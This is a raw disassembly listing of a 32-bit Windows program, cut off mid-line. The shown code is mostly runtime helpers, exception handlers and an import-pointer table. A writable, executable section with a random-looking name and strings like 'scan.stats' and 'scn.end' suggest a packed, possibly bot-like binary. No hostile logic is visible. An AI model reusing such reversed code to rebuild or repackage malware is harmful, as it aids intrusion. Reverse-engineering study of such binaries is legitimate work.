loc_41D270 or edx, 300h jmp short loc_41D270 ; --------------------------------------------------------------------------- loc_41D26A: ; CODE XREF: sub_41CFB7+2A5j or edx, edi jmp short loc_41D270 ; --------------------------------------------------------------------------- loc_41D26E: ; CODE XREF: sub_41CFB7+29Dj or edx, esi loc_41D270: ; CODE XREF: sub_41CFB7+295j ; sub_41CFB7+2A9j ... and eax, ebx sub eax, 40h jz short loc_41D293 sub eax, 7FC0h jz short loc_41D28B sub eax, 40h jnz short loc_41D299 or edx, 1000000h jmp short loc_41D299 ; --------------------------------------------------------------------------- loc_41D28B: ; CODE XREF: sub_41CFB7+2C5j or edx, 3000000h jmp short loc_41D299 ; --------------------------------------------------------------------------- loc_41D293: ; CODE XREF: sub_41CFB7+2BEj or edx, 2000000h loc_41D299: ; CODE XREF: sub_41CFB7+2CAj ; sub_41CFB7+2D2j ... mov eax, edx loc_41D29B: ; CODE XREF: sub_41CFB7+234j mov ecx, [esp+20h+var_4] mov edx, eax xor edx, ecx or eax, ecx test edx, 8031Fh jz short loc_41D2B2 or eax, 80000000h loc_41D2B2: ; CODE XREF: sub_41CFB7+16Fj ; sub_41CFB7+2F4j pop edi pop esi pop ebp pop ebx add esp, 10h retn sub_41CFB7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D2BA proc near ; CODE XREF: sub_41BEFD+326p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h mov eax, dword_423068 xor eax, ebp mov [ebp+var_4], eax mov eax, [ebp+arg_8] push ebx push esi xor esi, esi cmp [ebp+arg_4], esi push edi mov [ebp+var_18], 404Eh mov [eax], esi mov [eax+4], esi mov [eax+8], esi jbe loc_41D430 loc_41D2EA: ; CODE XREF: sub_41D2BA+146j mov edx, [eax] mov ebx, [eax+4] mov esi, eax lea edi, [ebp+var_10] movsd movsd movsd mov ecx, edx shr ecx, 1Fh lea edi, [edx+edx] lea edx, [ebx+ebx] or edx, ecx mov ecx, [eax+8] mov esi, ebx shr esi, 1Fh add ecx, ecx or ecx, esi mov [ebp+var_14], edi mov esi, edi and [ebp+var_14], 0 mov ebx, edx shr ebx, 1Fh add ecx, ecx shr edi, 1Fh or ecx, ebx mov ebx, [ebp+var_10] add esi, esi add edx, edx or edx, edi lea edi, [esi+ebx] cmp edi, esi mov [eax], esi mov [eax+4], edx mov [eax+8], ecx jb short loc_41D341 cmp edi, ebx jnb short loc_41D348 loc_41D341: ; CODE XREF: sub_41D2BA+81j mov [ebp+var_14], 1 loc_41D348: ; CODE XREF: sub_41D2BA+85j xor ebx, ebx cmp [ebp+var_14], ebx mov [eax], edi jz short loc_41D36B lea esi, [edx+1] cmp esi, edx jb short loc_41D35D cmp esi, 1 jnb short loc_41D360 loc_41D35D: ; CODE XREF: sub_41D2BA+9Cj xor ebx, ebx inc ebx loc_41D360: ; CODE XREF: sub_41D2BA+A1j test ebx, ebx mov [eax+4], esi jz short loc_41D36B inc ecx mov [eax+8], ecx loc_41D36B: ; CODE XREF: sub_41D2BA+95j ; sub_41D2BA+ABj mov ecx, [eax+4] mov edx, [ebp+var_C] lea ebx, [ecx+edx] xor esi, esi cmp ebx, ecx jb short loc_41D37E cmp ebx, edx jnb short loc_41D381 loc_41D37E: ; CODE XREF: sub_41D2BA+BEj xor esi, esi inc esi loc_41D381: ; CODE XREF: sub_41D2BA+C2j test esi, esi mov [eax+4], ebx jz short loc_41D38B inc dword ptr [eax+8] loc_41D38B: ; CODE XREF: sub_41D2BA+CCj mov ecx, [ebp+var_8] add [eax+8], ecx and [ebp+var_14], 0 lea ecx, [edi+edi] mov edx, edi shr edx, 1Fh lea edi, [ebx+ebx] or edi, edx mov edx, [eax+8] mov esi, ebx shr esi, 1Fh lea ebx, [edx+edx] mov edx, [ebp+arg_0] or ebx, esi mov [eax], ecx mov [eax+4], edi mov [eax+8], ebx movsx edx, byte ptr [edx] lea esi, [ecx+edx] cmp esi, ecx mov [ebp+var_10], edx jb short loc_41D3CB cmp esi, edx jnb short loc_41D3D2 loc_41D3CB: ; CODE XREF: sub_41D2BA+10Bj mov [ebp+var_14], 1 loc_41D3D2: ; CODE XREF: sub_41D2BA+10Fj cmp [ebp+var_14], 0 mov [eax], esi jz short loc_41D3F6 lea ecx, [edi+1] xor edx, edx cmp ecx, edi jb short loc_41D3E8 cmp ecx, 1 jnb short loc_41D3EB loc_41D3E8: ; CODE XREF: sub_41D2BA+127j xor edx, edx inc edx loc_41D3EB: ; CODE XREF: sub_41D2BA+12Cj test edx, edx mov [eax+4], ecx jz short loc_41D3F6 inc ebx mov [eax+8], ebx loc_41D3F6: ; CODE XREF: sub_41D2BA+11Ej ; sub_41D2BA+136j dec [ebp+arg_4] inc [ebp+arg_0] cmp [ebp+arg_4], 0 ja loc_41D2EA xor esi, esi jmp short loc_41D430 ; --------------------------------------------------------------------------- loc_41D40A: ; CODE XREF: sub_41D2BA+179j mov ecx, [eax+4] mov edx, ecx shr edx, 10h mov [eax+8], edx mov edx, [eax] mov edi, edx shl ecx, 10h shr edi, 10h or ecx, edi shl edx, 10h add [ebp+var_18], 0FFF0h mov [eax+4], ecx mov [eax], edx loc_41D430: ; CODE XREF: sub_41D2BA+2Aj ; sub_41D2BA+14Ej cmp [eax+8], esi jz short loc_41D40A mov ebx, 8000h test [eax+8], ebx jnz short loc_41D46F loc_41D43F: ; CODE XREF: sub_41D2BA+1B3j mov esi, [eax] mov edi, [eax+4] add [ebp+var_18], 0FFFFh mov ecx, esi add esi, esi shr ecx, 1Fh mov [eax], esi lea esi, [edi+edi] or esi, ecx mov ecx, [eax+8] mov edx, edi shr edx, 1Fh add ecx, ecx or ecx, edx test ecx, ebx mov [eax+4], esi mov [eax+8], ecx jz short loc_41D43F loc_41D46F: ; CODE XREF: sub_41D2BA+183j mov cx, word ptr [ebp+var_18] mov [eax+0Ah], cx mov ecx, [ebp+var_4] pop edi pop esi xor ecx, ebp pop ebx call sub_40AB4A leave retn sub_41D2BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_41D486 proc near ; CODE XREF: sub_40E23D+24p ; sub_41236E+10p ... jmp ds:off_41E184 sub_41D486 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D490 proc near ; CODE XREF: sub_402BB7+2Fp ; sub_402BB7+6Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_41D4B1 inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_41D4B1: ; CODE XREF: sub_41D490+Bj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_41D4CD inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_41D4CD: ; CODE XREF: sub_41D490+27j or eax, eax jnz short loc_41D4E9 mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov edx, ebx jmp short loc_41D52A ; --------------------------------------------------------------------------- loc_41D4E9: ; CODE XREF: sub_41D490+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_41D4F7: ; CODE XREF: sub_41D490+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_41D4F7 div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_41D525 cmp edx, [esp+0Ch+arg_4] ja short loc_41D525 jb short loc_41D526 cmp eax, [esp+0Ch+arg_0] jbe short loc_41D526 loc_41D525: ; CODE XREF: sub_41D490+85j ; sub_41D490+8Bj dec esi loc_41D526: ; CODE XREF: sub_41D490+8Dj ; sub_41D490+93j xor edx, edx mov eax, esi loc_41D52A: ; CODE XREF: sub_41D490+57j dec edi jnz short loc_41D534 neg edx neg eax sbb edx, 0 loc_41D534: ; CODE XREF: sub_41D490+9Bj pop ebx pop esi pop edi retn 10h sub_41D490 endp ; --------------------------------------------------------------------------- align 10h cmp dword_434D40, 0 jz short sub_41D576 loc_41D549: ; CODE XREF: .text:0041D574j push ebp mov ebp, esp sub esp, 8 and esp, 0FFFFFFF8h fstp qword ptr [esp] cvttsd2si eax, qword ptr [esp] leave retn ; --------------------------------------------------------------------------- cmp dword_434D40, 0 jz short sub_41D576 sub esp, 4 fnstcw word ptr [esp] pop eax and ax, 7Fh cmp ax, 7Fh jz short loc_41D549 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D576 proc near ; CODE XREF: .text:0040980Dp ; .text:0041D547j ... var_20 = dword ptr -20h var_10 = qword ptr -10h var_8 = dword ptr -8 push ebp mov ebp, esp sub esp, 20h and esp, 0FFFFFFF0h fld st fst [esp+20h+var_8] fistp [esp+20h+var_10] fild [esp+20h+var_10] mov edx, [esp+20h+var_8] mov eax, dword ptr [esp+20h+var_10] test eax, eax jz short loc_41D5D5 loc_41D599: ; CODE XREF: sub_41D576+69j fsubp st(1), st test edx, edx jns short loc_41D5BD fstp [esp+20h+var_20] mov ecx, [esp+20h+var_20] xor ecx, 80000000h add ecx, 7FFFFFFFh adc eax, 0 mov edx, dword ptr [esp+20h+var_10+4] adc edx, 0 jmp short locret_41D5E9 ; --------------------------------------------------------------------------- loc_41D5BD: ; CODE XREF: sub_41D576+27j fstp [esp+20h+var_20] mov ecx, [esp+20h+var_20] add ecx, 7FFFFFFFh sbb eax, 0 mov edx, dword ptr [esp+20h+var_10+4] sbb edx, 0 jmp short locret_41D5E9 ; --------------------------------------------------------------------------- loc_41D5D5: ; CODE XREF: sub_41D576+21j mov edx, dword ptr [esp+20h+var_10+4] test edx, 7FFFFFFFh jnz short loc_41D599 fstp [esp+20h+var_8] fstp [esp+20h+var_8] locret_41D5E9: ; CODE XREF: sub_41D576+45j ; sub_41D576+5Dj leave retn sub_41D576 endp ; --------------------------------------------------------------------------- lea ecx, [ebp-28h] jmp loc_401ED9 ; =============== S U B R O U T I N E ======================================= sub_41D5F3 proc near ; CODE XREF: sub_411CE7+14p ; DATA XREF: sub_401FC0+2o ... arg_4 = dword ptr 8 mov edx, [esp+arg_4] lea eax, [edx+0Ch] mov ecx, [edx-54h] xor ecx, eax call sub_40AB4A mov eax, offset dword_421880 jmp sub_40E28F sub_41D5F3 endp ; =============== S U B R O U T I N E ======================================= sub_41D60E proc near ; DATA XREF: sub_415216+2o arg_4 = dword ptr 8 mov edx, [esp+arg_4] lea eax, [edx+0Ch] mov ecx, [edx-14h] xor ecx, eax call sub_40AB4A mov eax, offset dword_421C30 jmp sub_40E28F sub_41D60E endp ; --------------------------------------------------------------------------- loc_41D629: ; DATA XREF: sub_4021E4+2o mov edx, [esp+8] lea eax, [edx+0Ch] mov ecx, [edx-1Ch] xor ecx, eax call sub_40AB4A mov eax, offset dword_422038 jmp sub_40E28F ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_40C899 ; --------------------------------------------------------------------------- loc_41D64C: ; DATA XREF: sub_401DA8+2o ; sub_402188+2o mov edx, [esp+8] lea eax, [edx+0Ch] mov ecx, [edx-14h] xor ecx, eax call sub_40AB4A mov eax, offset dword_422064 jmp sub_40E28F ; --------------------------------------------------------------------------- lea ecx, [ebp-2Ch] jmp loc_401ED9 ; --------------------------------------------------------------------------- loc_41D66F: ; DATA XREF: sub_408525+2o mov edx, [esp+8] lea eax, [edx+0Ch] mov ecx, [edx-58h] xor ecx, eax call sub_40AB4A mov eax, offset dword_422090 jmp sub_40E28F ; --------------------------------------------------------------------------- push dword ptr [ebp-10h] call sub_40CB3C pop ecx retn ; --------------------------------------------------------------------------- loc_41D694: ; DATA XREF: sub_402FC8+2o ; sub_407F60+2o mov edx, [esp+8] lea eax, [edx+0Ch] mov ecx, [edx-14h] xor ecx, eax call sub_40AB4A mov eax, offset dword_4220BC jmp sub_40E28F ; --------------------------------------------------------------------------- push dword ptr [ebp-6Ch] call sub_40CB3C pop ecx retn ; --------------------------------------------------------------------------- loc_41D6B9: ; DATA XREF: .text:00409DD3o mov edx, [esp+8] lea eax, [edx+0Ch] mov ecx, [edx-70h] xor ecx, eax call sub_40AB4A mov ecx, [edx-4] xor ecx, eax call sub_40AB4A mov eax, offset dword_4220E8 jmp sub_40E28F ; --------------------------------------------------------------------------- push dword ptr [ebp-4C0h] call sub_40CB3C pop ecx retn ; --------------------------------------------------------------------------- loc_41D6EB: ; DATA XREF: .text:004086CDo mov edx, [esp+8] lea eax, [edx+0Ch] mov ecx, [edx-4C4h] xor ecx, eax call sub_40AB4A mov ecx, [edx-4] xor ecx, eax call sub_40AB4A mov eax, offset dword_422114 jmp sub_40E28F ; --------------------------------------------------------------------------- push dword ptr [ebp-33Ch] call sub_40CB3C pop ecx retn ; --------------------------------------------------------------------------- loc_41D720: ; DATA XREF: sub_4085E6+5o mov edx, [esp+8] lea eax, [edx+0Ch] mov ecx, [edx-344h] xor ecx, eax call sub_40AB4A mov ecx, [edx-4] xor ecx, eax call sub_40AB4A mov eax, offset dword_422140 jmp sub_40E28F ; --------------------------------------------------------------------------- loc_41D748: ; DATA XREF: r69pu5ti:0041E29Co call sub_402033 and dword_433BBC, 0 push offset loc_41D800 mov dword_433BB8, eax call sub_40C9F0 pop ecx retn ; --------------------------------------------------------------------------- loc_41D765: ; DATA XREF: r69pu5ti:0041E29Co call sub_408598 and dword_433BC8, 0 push offset loc_41D849 mov dword_433BC4, eax call sub_40C9F0 pop ecx retn ; --------------------------------------------------------------------------- loc_41D782: ; DATA XREF: r69pu5ti:0041E29Co push esi push offset aUpdate ; "update" mov esi, offset off_433BCC call sub_401E54 mov off_433BCC, offset aJ@ ; "Ȇ@" pop esi retn ; --------------------------------------------------------------------------- loc_41D79E: ; DATA XREF: r69pu5ti:0041E29Co mov eax, dword_424650 add eax, 6 mov dword_433BD0, eax retn ; --------------------------------------------------------------------------- loc_41D7AC: ; DATA XREF: r69pu5ti:0041E29Co push esi push offset dword_421460 mov esi, offset off_433BDC call sub_401E54 mov off_433BDC, offset aA@ ; "Ñ@" pop esi retn ; --------------------------------------------------------------------------- loc_41D7C8: ; DATA XREF: r69pu5ti:0041E29Co push esi push offset aScn_end ; "scn.end" mov esi, offset off_433BD4 call sub_401E54 mov off_433BD4, offset aWv@ ; "w¢@" pop esi retn ; --------------------------------------------------------------------------- loc_41D7E4: ; DATA XREF: r69pu5ti:0041E29Co push esi push offset aScan_stats ; "scan.stats" mov esi, offset off_433BD8 call sub_401E54 mov off_433BD8, offset aTg@ ; "T£@" pop esi retn ; --------------------------------------------------------------------------- loc_41D800: ; DATA XREF: .text:0041D754o mov eax, dword_433BB8 mov ecx, [eax] mov [eax], eax mov eax, dword_433BB8 mov [eax+4], eax and dword_433BBC, 0 cmp ecx, dword_433BB8 jz short loc_41D835 push esi loc_41D821: ; CODE XREF: .text:0041D832j mov esi, [ecx] push ecx call sub_40CB3C cmp esi, dword_433BB8 pop ecx mov ecx, esi jnz short loc_41D821 pop esi loc_41D835: ; CODE XREF: .text:0041D81Ej push dword_433BB8 call sub_40CB3C and dword_433BB8, 0 pop ecx retn ; --------------------------------------------------------------------------- loc_41D849: ; DATA XREF: .text:0041D771o mov eax, dword_433BC4 mov ecx, [eax] mov [eax], eax mov eax, dword_433BC4 mov [eax+4], eax and dword_433BC8, 0 cmp ecx, dword_433BC4 jz short loc_41D87E push esi loc_41D86A: ; CODE XREF: .text:0041D87Bj mov esi, [ecx] push ecx call sub_40CB3C cmp esi, dword_433BC4 pop ecx mov ecx, esi jnz short loc_41D86A pop esi loc_41D87E: ; CODE XREF: .text:0041D867j push dword_433BC4 call sub_40CB3C and dword_433BC4, 0 pop ecx retn ; --------------------------------------------------------------------------- loc_41D892: ; DATA XREF: .text:0040CC5Ao mov dword_425B04, offset off_41E304 mov ecx, offset dword_425B04 jmp sub_40C899 ; --------------------------------------------------------------------------- align 800h _text ends ; Section 2. (virtual address 0001E000) ; Virtual size : 00005000 ( 20480.) ; Section size in file : 00005000 ( 20480.) ; Offset to raw data for section: 0001E000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute r69pu5ti segment para public 'CODE' use32 assume cs:r69pu5ti ;org 41E000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing off_41E000 dd offset sub_44271A ; DATA XREF: sub_405168+1Br ; sub_405231+1Fr ... off_41E004 dd offset sub_439051 ; DATA XREF: sub_4051BC+41r off_41E008 dd offset sub_43DF56 ; DATA XREF: sub_405231+4Dr off_41E00C dd offset sub_4425D0 ; DATA XREF: sub_40140A+14Dr ; sub_40158F+1C1r ... off_41E010 dd offset sub_446217 ; DATA XREF: sub_40196D+Er ; sub_446217+5r ... off_41E014 dd offset sub_43A11F ; DATA XREF: sub_40158F+9Fr ; sub_40158F+1ADr ... off_41E018 dd offset sub_440B68 ; DATA XREF: sub_4019F9+82r ; sub_4432B8+98w ... off_41E01C dd offset sub_449641 ; DATA XREF: sub_40140A+5Dr ; y22d6.y.:0043E333r ... off_41E020 dd offset sub_438FA6 ; DATA XREF: sub_40158F+156r ; sub_438FA6+5r ... off_41E024 dd offset sub_43DCC0 ; DATA XREF: sub_4019F9+24r ; sub_439E54+9r ... off_41E028 dd offset sub_43B252 ; DATA XREF: sub_40140A+96r ; sub_40158F+81r ... off_41E02C dd offset sub_4464BD ; DATA XREF: sub_401000+1D0r ; sub_43CCD2+4w ... off_41E030 dd offset sub_44D397 ; DATA XREF: sub_401000+202r ; sub_401000+287r ... off_41E034 dd offset sub_44E232 ; DATA XREF: sub_401000+1B4r ; y22d6.y.:0043E7ABw ... off_41E038 dd offset sub_43E7BF ; DATA XREF: sub_40158F+17Ar ; y22d6.y.:00447E41r ... off_41E03C dd offset sub_440CDB ; DATA XREF: sub_40158F+B0r ; sub_440CDB+5r off_41E040 dd offset sub_44AEDA ; DATA XREF: sub_40158F+16Cr ; y22d6.y.:0043C06Ew ... off_41E044 dd offset sub_44D041 ; DATA XREF: sub_405168+39r ; y22d6.y.:0043FFF3r ... dd 0 dword_41E04C dd 77E61BB8h ; DATA XREF: sub_402632+8Br ; y22d6.y.:0044727Br dword_41E050 dd 77E704FCh ; DATA XREF: sub_4026D7+A1r ; sub_40312D+37r ... off_41E054 dd offset sub_441FA5 ; DATA XREF: sub_402BB7+19r ; sub_43BC90+9r ... dword_41E058 dd 77E7C657h ; DATA XREF: sub_402AAB+24r ; sub_4049E1+340r ... off_41E05C dd offset sub_44A862 ; DATA XREF: sub_403249+288r ; sub_4088D0+AAr ... off_41E060 dd offset sub_43E09E ; DATA XREF: sub_403249+298r ; sub_43E09E+5r ... off_41E064 dd offset sub_442EA9 ; DATA XREF: sub_403249+2CBr ; sub_416A1E+40r ... off_41E068 dd offset sub_441637 ; DATA XREF: sub_403249+2DBr ; .text:00409486r ... off_41E06C dd offset sub_447258 ; DATA XREF: sub_4049E1+2FBr ; sub_408395+5Er ... dword_41E070 dd 77E6BD13h ; DATA XREF: sub_4049E1+195r ; sub_443C95+4w ... off_41E074 dd offset sub_444F37 ; DATA XREF: sub_4049E1+2DAr ; sub_44057E-5DAEw ... off_41E078 dd offset sub_444871 ; DATA XREF: sub_405299+99r ; sub_4088D0+107r ... off_41E07C dd offset sub_43BC01 ; DATA XREF: sub_407FE4+20r ; sub_4081DD+42r ... off_41E080 dd offset sub_441020 ; DATA XREF: sub_4081DD+177r ; sub_408395+1Cr ... dword_41E084 dd 77E802FCh ; DATA XREF: sub_402BB7+Br ; sub_414DEC+5Dr ... off_41E088 dd offset sub_438A94 ; DATA XREF: .text:004098B7r ; y22d6.y.:004463F5r ... dword_41E08C dd 77E77CCEh ; DATA XREF: sub_413B24+3E7r ; sub_415CB7:loc_415D64r ... off_41E090 dd offset sub_44229A ; DATA XREF: sub_4099FF+26Fr ; y22d6.y.:00437312w ... off_41E094 dd offset sub_442638 ; DATA XREF: sub_41A0B7+14Cr ; sub_442638+5r ... off_41E098 dd offset sub_448488 ; DATA XREF: sub_419FEC+45r ; y22d6.y.:004437A2r off_41E09C dd offset sub_44314D ; DATA XREF: sub_419FEC+78r ; sub_44314D+5r off_41E0A0 dd offset sub_449280 ; DATA XREF: sub_419FEC+9Br ; y22d6.y.:00448437w ... off_41E0A4 dd offset sub_439227 ; DATA XREF: sub_418C1B+8Cr ; sub_439227+5r ... off_41E0A8 dd offset sub_43D5FE ; DATA XREF: sub_41884B:loc_41889Fr ; sub_4188C8:loc_418920r ... off_41E0AC dd offset sub_44B810 ; DATA XREF: sub_402B8C+20r ; sub_419DC4+22r ... off_41E0B0 dd offset sub_43704E ; DATA XREF: sub_402833+17Ar ; sub_4049E1+309r ... dword_41E0B4 dd 77E7A099h ; DATA XREF: sub_401B44+38r ; sub_4026D7+6Ar ... off_41E0B8 dd offset sub_446188 ; DATA XREF: sub_401000+343r ; sub_4049E1+261r ... off_41E0BC dd offset sub_44D730 ; DATA XREF: sub_40186E+4Br ; sub_448EB6-7A77w ... off_41E0C0 dd offset sub_441453 ; DATA XREF: sub_4017FD+4Br ; y22d6.y.:0043962Dw ... dword_41E0C4 dd 77E77963h ; DATA XREF: sub_401000+222r ; sub_401000+3AAr ... dword_41E0C8 dd 77E77CC4h ; DATA XREF: sub_401000:loc_4013E4r ; sub_4088D0:loc_408B02r ... dword_41E0CC dd 77E79F93h ; DATA XREF: sub_401000+22r ; sub_401B44+31r ... off_41E0D0 dd offset sub_44B635 ; DATA XREF: sub_401000+E1r ; sub_401BBC+1Ar ... off_41E0D4 dd offset sub_44439D ; DATA XREF: sub_401000+39r ; sub_401BBC+21r ... dword_41E0D8 dd 77F5157Dh ; DATA XREF: sub_401000+1C1r ; sub_40196D+3Er ... off_41E0DC dd offset sub_44A359 ; DATA XREF: sub_401000+326r ; sub_40CA0C+E0r ... off_41E0E0 dd offset sub_43E389 ; DATA XREF: sub_401000+335r ; sub_401000+3B7r ... dword_41E0E4 dd 77E77CB7h ; DATA XREF: .text:0040DFFBr ; sub_41A0B7+67r ... off_41E0E8 dd offset sub_43DB13 ; DATA XREF: sub_401000:loc_40119Fr ; sub_43DB13+5r dword_41E0EC dd 77E7751Ah ; DATA XREF: sub_4019F9+Cr ; sub_402D40+11r ... dword_41E0F0 dd 77F51597h ; DATA XREF: sub_40D35A+68r ; .text:0040E030r ... off_41E0F4 dd offset sub_43946E ; DATA XREF: sub_408409+8r ; y22d6.y.:004450E1r ... dword_41E0F8 dd 77F516F8h ; DATA XREF: sub_40D437+Fr ; .text:0040E004r ... off_41E0FC dd offset sub_44A77E ; DATA XREF: sub_416BBA+11Dr ; sub_44A77E+5r ... off_41E100 dd offset sub_441C1C ; DATA XREF: sub_416BBA:loc_416CF3r ; y22d6.y.:004424F7r ... off_41E104 dd offset sub_44B515 ; DATA XREF: .text:00416868r ; sub_439C3E+4w ... dword_41E108 dd 77E7C866h ; DATA XREF: sub_41609C+2Dr ; sub_41609C+11Cr ... off_41E10C dd offset sub_44A5D5 ; DATA XREF: sub_41609C+191r ; y22d6.y.:00449E01w ... dword_41E110 dd 77E781F9h ; DATA XREF: sub_415CB7+30r ; sub_415CB7+144r ... off_41E114 dd offset sub_43BB5A ; DATA XREF: sub_415CB7+294r ; sub_415CB7+365r ... off_41E118 dd offset sub_44E33C ; DATA XREF: sub_414DEC+35r dword_41E11C dd 77E77EE1h ; DATA XREF: sub_414C6F+Br ; y22d6.y.:0043742Ar ... dword_41E120 dd 77E79924h ; DATA XREF: sub_414C6F:loc_414CE9r ; sub_415CB7+216r ... dword_41E124 dd 77E7C9E1h ; DATA XREF: sub_414C6F+CCr ; y22d6.y.:00439F09w ... off_41E128 dd offset sub_439F1D ; DATA XREF: sub_414C6F:loc_414D4Dr ; sub_439F1D+5r ... off_41E12C dd offset sub_441A16 ; DATA XREF: sub_414C6F+10Fr ; sub_414C6F+126r ... dword_41E130 dd 77E78406h ; DATA XREF: sub_412464+12Br ; sub_412464+1C7r ... dword_41E134 dd 77E79C3Dh ; DATA XREF: sub_412464+1B5r ; sub_4136C1+169r ... dword_41E138 dd 77E7C931h ; DATA XREF: sub_412464+21Fr ; y22d6.y.:0044B3D5w ... off_41E13C dd offset sub_44B3B9 ; DATA XREF: sub_40FE64+27r ; sub_417720+134r ... off_41E140 dd offset sub_44C970 ; DATA XREF: sub_40FE64+77r ; sub_40FF14+52r ... off_41E144 dd offset sub_43BA32 ; DATA XREF: sub_40FB50+22Fr ; y22d6.y.:0043ADC2r ... dword_41E148 dd 77E7C726h ; DATA XREF: sub_40FA83+11r ; sub_4432B8:loc_43818Cr ... off_41E14C dd offset sub_443778 ; DATA XREF: sub_40FA83+47r ; y22d6.y.:0043E54Fw ... dword_41E150 dd 77F7E21Fh ; DATA XREF: sub_40F9F7+28r ; sub_411DE0+28r ... dword_41E154 dd 77F7E300h ; DATA XREF: sub_40F91F+Dr ; sub_411E32+28r ... off_41E158 dd offset sub_43CBF3 ; DATA XREF: sub_40F8CA+1r ; sub_417BA0+62r ... dword_41E15C dd 77F51587h ; DATA XREF: sub_40F31B+78r ; sub_416874+ABr ... off_41E160 dd offset sub_43EF8B ; DATA XREF: sub_40F22A+2Br ; sub_40F4D7+85r ... dword_41E164 dd 77E79B39h ; DATA XREF: sub_40F200+23r ; sub_40F4D7+58r ... dword_41E168 dd 77E7C5B4h ; DATA XREF: sub_40F1F7r ; sub_40F4D7:loc_40F576r ... dword_41E16C dd 77E78B61h ; DATA XREF: sub_40F128+7r ; sub_40F194+7r ... off_41E170 dd offset sub_44E38B ; DATA XREF: sub_40EA45+27r ; y22d6.y.:004383C0r ... dword_41E174 dd 77E7A13Fh ; DATA XREF: sub_40EA45+4Ar ; y22d6.y.:0043CEB4w ... dword_41E178 dd 77E778C5h ; DATA XREF: sub_40E9A1+59r ; sub_40EC6A+76r ... dword_41E17C dd 77E777EFh ; DATA XREF: sub_40E9A1+84r ; sub_40EC6A+95r ... dword_41E180 dd 77E7849Fh ; DATA XREF: sub_40E817+24r ; sub_40EABF+56r ... off_41E184 dd offset sub_44C591 ; DATA XREF: sub_41D486r ; y22d6.y.:loc_43A9A7w ... off_41E188 dd offset sub_43A9BB ; DATA XREF: sub_40E1BC+40r ; sub_41935A+222r ... off_41E18C dd offset sub_43E5C2 ; DATA XREF: .text:0040DFE6r ; sub_412464+15r off_41E190 dd offset sub_43A6E1 ; DATA XREF: .text:loc_40E0DFr off_41E194 dd offset sub_44255D ; DATA XREF: sub_40CA0C+AAr ; sub_40E68F+B9r ... dword_41E198 dd 77F522F2h ; DATA XREF: sub_40C58B+82r ; y22d6.y.:0043966Br ... dword_41E19C dd 77E80656h ; DATA XREF: sub_40C62Er ; sub_414DEC+41r ... off_41E1A0 dd offset sub_441CF9 ; DATA XREF: sub_40CA0C+D9r ; sub_40E68F+F5r ... off_41E1A4 dd offset sub_4416C0 ; DATA XREF: sub_40CA0C+BEr ; sub_40E68F+D9r ... dword_41E1A8 dd 77E7C9E7h ; DATA XREF: sub_40CA0C+B4r ; sub_40E68F+CEr ... align 10h dword_41E1B0 dd 71B2ACCBh ; DATA XREF: sub_40AA7Cr align 8 dword_41E1B8 dd 1F7CD927h ; DATA XREF: sub_40AA76r dword_41E1BC dd 1F7CB8F8h ; DATA XREF: sub_40AA70r dword_41E1C0 dd 1F7CD214h ; DATA XREF: sub_40AA6Ar dword_41E1C4 dd 1F7D886Ah ; DATA XREF: sub_40AA64r dword_41E1C8 dd 1F7BA3A9h ; DATA XREF: sub_40AA5Er align 10h dword_41E1D0 dd 77CDAF8Dh ; DATA XREF: sub_408B28+11Dr dword_41E1D4 dd 77CDCE5Dh ; DATA XREF: sub_408B28+56r dword_41E1D8 dd 77CC4008h ; DATA XREF: sub_408B28+D7r dword_41E1DC dd 77CDCFB0h ; DATA XREF: sub_408B28+67r dword_41E1E0 dd 77CDC9B5h ; DATA XREF: sub_408B28+75r ; sub_408B28+CDr ... dword_41E1E4 dd 77D0BC44h ; DATA XREF: sub_408B28+BFr dword_41E1E8 dd 77D0BE59h ; DATA XREF: sub_408B28+F8r dword_41E1EC dd 77CD8989h ; DATA XREF: sub_408B28+10Cr dd 0 dword_41E1F4 dd 77428B97h ; DATA XREF: sub_4026D7+148r ; sub_4088D0+1E3r dd 0 off_41E1FC dd offset sub_448CDC ; DATA XREF: sub_404844+30r ; y22d6.y.:0043B14Cr ... off_41E200 dd offset sub_44441C ; DATA XREF: sub_40300B+A5r ; sub_44441C+5r ... off_41E204 dd offset sub_43F9E0 ; DATA XREF: sub_40300B+67r ; y22d6.y.:00440A5Br ... off_41E208 dd offset sub_44C2B0 ; DATA XREF: sub_40300B+Cr ; sub_43A8B0:loc_43A8B4w ... off_41E20C dd offset sub_43849F ; DATA XREF: sub_40300B+B1r ; sub_43849F+5r ... off_41E210 dd offset loc_44518A ; DATA XREF: sub_4030E2+Dr ; sub_4030E2:loc_43CA52r ... off_41E214 dd offset sub_43F102 ; DATA XREF: sub_40300B+BBr ; sub_43F102+5r ... off_41E218 dd offset sub_44D6D0 ; DATA XREF: sub_40300B+4Ar ; sub_449641-B88Cr ... off_41E21C dd offset sub_44759E ; DATA 